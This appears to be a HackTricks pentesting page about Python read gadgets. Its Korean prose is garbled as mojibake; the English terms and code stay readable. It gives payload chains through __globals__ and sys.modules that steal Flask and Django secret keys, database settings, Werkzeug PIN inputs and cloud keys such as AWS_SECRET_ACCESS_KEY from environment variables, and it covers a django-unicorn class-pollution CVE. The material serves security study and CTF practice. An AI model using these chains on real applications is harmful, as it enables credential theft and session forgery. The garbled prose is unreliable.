Python ๋‚ด๋ถ€ ์ฝ๊ธฐ ๊ฐ€์ ฏ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ์ทจ์•ฝ์ (Python Format Strings ๋˜๋Š” Class Pollution)์€ python ๋‚ด๋ถ€ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์ง€๋งŒ ์ฝ”๋“œ ์‹คํ–‰์€ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ pentester๋Š” ์ด๋Ÿฌํ•œ ์ฝ๊ธฐ ๊ถŒํ•œ์„ ์ตœ๋Œ€ํ•œ ํ™œ์šฉํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ๊ถŒํ•œ์„ ํš๋“ํ•˜๊ณ  ์ทจ์•ฝ์ ์˜ ์˜ํ–ฅ์„ ํ™•๋Œ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Flask - ๋น„๋ฐ€ ํ‚ค ์ฝ๊ธฐ

Flask ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฉ”์ธ ํŽ˜์ด์ง€์—๋Š” ์•„๋งˆ๋„ app ์ „์—ญ ๊ฐ์ฒด๊ฐ€ ์กด์žฌํ•˜๋ฉฐ, ์ด๊ณณ์— ๋น„๋ฐ€์ด ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

์ด ๊ฒฝ์šฐ Bypass Python sandboxes page์— ์žˆ๋Š” ์–ด๋–ค gadget์„ ์‚ฌ์šฉํ•ด๋„ access global objects๋ฅผ ํ†ตํ•ด ์ด ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.

๋งŒ์•ฝ the vulnerability is in a different python file, ํŒŒ์ผ์„ ํšก๋‹จํ•  ์ˆ˜ ์žˆ๋Š” gadget์ด ํ•„์š”ํ•˜๋ฉฐ ๋ฉ”์ธ ํŒŒ์ผ์˜ **access the global object app.secret_key**๋ฅผ ํ†ตํ•ด Flask secret key๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  ์ด ํ‚ค๋ฅผ ์•Œ๊ณ  escalate privileges knowing this keyํ•  ์ˆ˜ ์žˆ๋‹ค.

A payload like this one from this writeup:

__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

Use this payload to change app.secret_key (the name in your app might be different) to be able to sign new and more privileges flask cookies.

Werkzeug - machine_id and node uuid

Using these payload from this writeup์„ ์‚ฌ์šฉํ•˜๋ฉด machine_id์™€ uuid ๋…ธ๋“œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋“ค์€ generate the Werkzeug pin๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ main secrets๋กœ, debug mode๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์„ ๊ฒฝ์šฐ /console์—์„œ python console์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}

Warning

์›น ํŽ˜์ด์ง€์—์„œ ์ผ๋ถ€ error๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ ์„œ๋ฒ„์˜ app.py ๋กœ์ปฌ ๊ฒฝ๋กœ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ์ด error๊ฐ€ ๊ฒฝ๋กœ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

If the vulnerability is in a different python file, check the previous Flask trick to access the objects from the main python file.

Django - SECRET_KEY ๋ฐ settings ๋ชจ๋“ˆ

Django settings ๊ฐ์ฒด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‹œ์ž‘๋˜๋ฉด sys.modules์— ์บ์‹œ๋ฉ๋‹ˆ๋‹ค. ์ฝ๊ธฐ primitives๋งŒ์œผ๋กœ SECRET_KEY, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ž๊ฒฉ์ฆ๋ช… ๋˜๋Š” ์„œ๋ช…์šฉ salts๋ฅผ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# When DJANGO_SETTINGS_MODULE is set (usual case)
sys.modules[os.environ['DJANGO_SETTINGS_MODULE']].SECRET_KEY

# Through the global settings proxy
a = sys.modules['django.conf'].settings
(a.SECRET_KEY, a.DATABASES, a.SIGNING_BACKEND)

์ทจ์•ฝํ•œ gadget์ด ๋‹ค๋ฅธ ๋ชจ๋“ˆ์— ์žˆ๋‹ค๋ฉด, ๋จผ์ € globals๋ฅผ ์ˆœํšŒํ•˜์„ธ์š”:

__init__.__globals__['sys'].modules['django.conf'].settings.SECRET_KEY

ํ‚ค๊ฐ€ ์•Œ๋ ค์ง€๋ฉด Django ์„œ๋ช…๋œ ์ฟ ํ‚ค ๋˜๋Š” ํ† ํฐ์„ Flask์™€ ์œ ์‚ฌํ•œ ๋ฐฉ์‹์œผ๋กœ ์œ„์กฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Environment variables / cloud creds via loaded modules

๋งŽ์€ jails์—์„œ๋Š” ์—ฌ์ „ํžˆ ์–ด๋”˜๊ฐ€์—์„œ os ๋˜๋Š” sys๋ฅผ importํ•ฉ๋‹ˆ๋‹ค. ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์–ด๋–ค ํ•จ์ˆ˜์˜ __init__.__globals__๋ฅผ ์•…์šฉํ•˜์—ฌ ์ด๋ฏธ import๋œ os ๋ชจ๋“ˆ๋กœ ํ”ผ๋ฒ—ํ•˜๊ณ  environment variables์— ์žˆ๋Š” API tokens, cloud keys ๋˜๋Š” flags๋ฅผ ๋คํ”„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Classic os._wrap_close subclass index may change per version
cls = [c for c in object.__subclasses__() if 'os._wrap_close' in str(c)][0]
cls.__init__.__globals__['os'].environ['AWS_SECRET_ACCESS_KEY']

์„œ๋ธŒํด๋ž˜์Šค ์ธ๋ฑ์Šค๊ฐ€ ํ•„ํ„ฐ๋ง๋˜์–ด ์žˆ๋‹ค๋ฉด, loaders๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”:

__loader__.__init__.__globals__['sys'].modules['os'].environ['FLAG']

ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋Š” ์ข…์ข… read์—์„œ full compromise๋กœ ์ด๋™ํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์œ ์ผํ•œ ๋น„๋ฐ€์ž…๋‹ˆ๋‹ค (cloud IAM keys, database URLs, signing keys, etc.).

Django-Unicorn class pollution (CVE-2025-24370)

django-unicorn (<0.62.0) allowed class pollution via crafted component requests. __init__.__globals__ ๊ฐ™์€ ํ”„๋กœํผํ‹ฐ ๊ฒฝ๋กœ๋ฅผ ์„ค์ •ํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ์ปดํฌ๋„ŒํŠธ ๋ชจ๋“ˆ์˜ globals ๋ฐ ์ž„ํฌํŠธ๋œ ๋ชจ๋“ˆ๋“ค(์˜ˆ: settings, os, sys)์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฑฐ๊ธฐ์„œ code execution ์—†์ด SECRET_KEY, DATABASES ๋˜๋Š” ์„œ๋น„์Šค ์ž๊ฒฉ์ฆ๋ช…์„ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ต์Šคํ”Œ๋กœ์ž‡ ์ฒด์ธ์€ ์ˆœ์ˆ˜ํ•˜๊ฒŒ read ๊ธฐ๋ฐ˜์ด๋ฉฐ ์œ„์—์„œ ์–ธ๊ธ‰ํ•œ ๊ฒƒ๊ณผ ๋™์ผํ•œ dunder-gadget ํŒจํ„ด์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

์—ฐ๊ฒฐ์„ ์œ„ํ•œ Gadget ๋ชจ์Œ

์ตœ๊ทผ CTF๋“ค(์˜ˆ: jailCTF 2025)์€ attribute access์™€ subclass enumeration๋งŒ์œผ๋กœ ๊ตฌ์ถ•๋œ ์‹ ๋ขฐ ๊ฐ€๋Šฅํ•œ read ์ฒด์ธ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ์œ ์ง€ํ•˜๋Š” ๋ชฉ๋ก๋“ค์ธ pyjailbreaker ๋“ฑ์€ ๊ฐ์ฒด์—์„œ __globals__, sys.modules๋กœ ์ด๋™ํ•˜๊ณ  ์ตœ์ข…์ ์œผ๋กœ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ์— ๋„๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด ๊ฒฐํ•ฉํ•  ์ˆ˜ ์žˆ๋Š” ์ˆ˜๋ฐฑ ๊ฐœ์˜ ์ตœ์†Œํ•œ์˜ gadget์„ ์ˆ˜๋กํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. Python ๋งˆ์ด๋„ˆ ๋ฒ„์ „ ๊ฐ„์— ์ธ๋ฑ์Šค๋‚˜ ํด๋ž˜์Šค ์ด๋ฆ„์ด ๋‹ค๋ฅผ ๋•Œ ๋น ๋ฅด๊ฒŒ ์ ์‘ํ•˜๊ธฐ ์œ„ํ•ด ์ด๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ